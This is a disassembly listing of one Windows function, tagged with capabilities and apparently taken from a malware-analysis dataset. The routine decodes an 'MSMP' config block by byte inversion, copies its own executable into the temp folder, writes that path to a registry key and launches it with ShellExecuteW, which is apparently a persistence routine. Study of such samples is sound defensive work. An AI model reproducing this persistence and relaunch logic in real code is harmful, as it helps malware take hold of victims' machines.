Function at 0x401d53
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x42fc20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x210], ax
xor ebx, ebx
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.00411980
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push ebx
push eax
call fcn.00411980
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x428b20
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0040f97c
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.004021ce
cmp dword [0x4343f0], 1
mov edi, eax
jne 0x401df4
cmp edi, ebx
jne 0x401df4
xor eax, eax
jmp 0x4021bf
call fcn.00402533
push 0x200
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x618]
push ebx
push eax
call fcn.00411980
add esp, 0xc
push 0x51
pop eax
mov word [ebp - 0x594], ax
mov eax, 0x2b70
mov word [ebp - 0x4f2], ax
mov dword [ebp - 0x618], 0x504d534d
xor eax, eax
movzx ecx, word [eax + 0x428aa4]
mov word [ebp + eax - 0x572], cx
inc eax
inc eax
cmp cx, bx
jne 0x401e36
xor eax, eax
movzx ecx, word [eax + 0x428a7c]
mov word [ebp + eax - 0x614], cx
inc eax
inc eax
cmp cx, bx
jne 0x401e4e
xor eax, eax
movzx ecx, word [eax + 0x428a98]
mov word [ebp + eax - 0x592], cx
inc eax
inc eax
cmp cx, bx
jne 0x401e66
mov esi, 0x4343b0
push esi
lea eax, [ebp - 0x490]
push 0x10
push eax
mov dword [ebp - 0x450], 5
call fcn.0040f90d
add esp, 0xc
cmp edi, ebx
jne 0x401ea9
cmp dword [ebp - 0x81c], ebx
je 0x401f1e
push 0x434220
lea eax, [ebp - 0x592]
push 0x10
push eax
call fcn.0040f90d
add esp, 0xc
push 0x4342a0
lea eax, [ebp - 0x614]
push 0x40
push eax
call fcn.0040f90d
add esp, 0xc
push 0x434328
lea eax, [ebp - 0x572]
push 0x40
push eax
call fcn.0040f90d
mov ax, word [0x434320]
mov word [ebp - 0x594], ax
mov ax, word [0x4343a8]
mov word [ebp - 0x4f2], ax
mov eax, dword [0x4343ac]
add esp, 0xc
mov dword [ebp - 0x450], eax
cmp eax, ebx
jne 0x401f1e
mov dword [ebp - 0x450], 5
mov edx, 0x428b38
lea eax, [ebp - 0x614]
mov cx, word [eax]
cmp cx, word [edx]
jne 0x401f4f
cmp cx, bx
je 0x401f4b
mov cx, word [eax + 2]
cmp cx, word [edx + 2]
jne 0x401f4f
add eax, 4
add edx, 4
cmp cx, bx
jne 0x401f29
xor ecx, ecx
jmp 0x401f54
sbb ecx, ecx
sbb ecx, 0xffffffff
mov eax, 0x2b8e
cmp ecx, ebx
jne 0x401f72
cmp word [ebp - 0x594], 0x51
jne 0x401f72
mov ecx, eax
cmp word [ebp - 0x4f2], cx
je 0x401fa5
push 0x51
pop ecx
mov word [ebp - 0x4f2], ax
mov word [ebp - 0x594], cx
mov dword [ebp - 0x450], 5
xor eax, eax
movzx ecx, word [eax + 0x428b38]
mov word [ebp + eax - 0x614], cx
inc eax
inc eax
cmp cx, bx
jne 0x401f8f
xor eax, eax
movzx ecx, word [eax + 0x428aa4]
mov word [ebp + eax - 0x572], cx
inc eax
inc eax
cmp cx, bx
jne 0x401fa7
cmp word [ebp - 0x614], bx
je 0x4021bc
cmp word [ebp - 0x594], bx
jbe 0x4021bc
mov edi, 0x504d534d
mov eax, esi
mov dword [ebp - 0x618], edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x401fe7
sub eax, edx
sar eax, 1
je 0x40201a
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40201a
push esi
lea eax, [ebp - 0x490]
push 0x10
push eax
call fcn.0040f90d
add esp, 0xc
cmp word [ebp - 0x490], bx
jne 0x402039
push 0x428b54
lea eax, [ebp - 0x490]
push 0x10
push eax
call fcn.0040f90d
add esp, 0xc
cmp word [ebp - 0x470], bx
jne 0x402084
push 0x428b60
lea eax, [ebp - 0x470]
push 0x10
push eax
call fcn.0040f90d
mov ecx, 0x4343d0
mov eax, ecx
add esp, 0xc
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
cmp dx, bx
jne 0x402062
sub eax, esi
sar eax, 1
je 0x402084
push ecx
lea eax, [ebp - 0x470]
push 0x10
push eax
call fcn.0040f90d
add esp, 0xc
mov dword [ebp - 0x44c], 0x10002de
cmp dword [ebp - 0x450], ebx
jne 0x4020a0
mov dword [ebp - 0x450], 5
mov eax, edi
mov ecx, 0x80
lea esi, [ebp - 0x618]
lea edi, [ebp - 0x818]
rep movsd dword es:[edi], dword [esi]
cmp dword [ebp - 0x618], eax
jne 0x4021bc
xor eax, eax
not byte [ebp + eax - 0x818]
inc eax
cmp eax, 0x200
jb 0x4020c3
lea edi, [ebp - 0x818]
call fcn.00401ca4
test eax, eax
je 0x4021bc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x470]
push eax
call fcn.00402780
pop ecx
pop ecx
push 0x104
lea eax, [ebp - 0x418]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 0x64
pop ecx
xor edx, edx
div ecx
lea eax, [ebp - 0x210]
push edx
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00403020
add esp, 0xc
lea eax, [ebp - 0x820]
push eax
push 3
push ebx
push 0x4287c0
push connect
mov dword [ebp - 0x820], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4021a5
lea eax, [ebp - 0x210]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x402167
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x210]
push eax
push 1
push ebx
push 0x428b6c
push dword [ebp - 0x820]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4021a5
push dword [ebp - 0x820]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push ebx
push 0x428858
lea eax, [ebp - 0x210]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040f8fe
leave
ret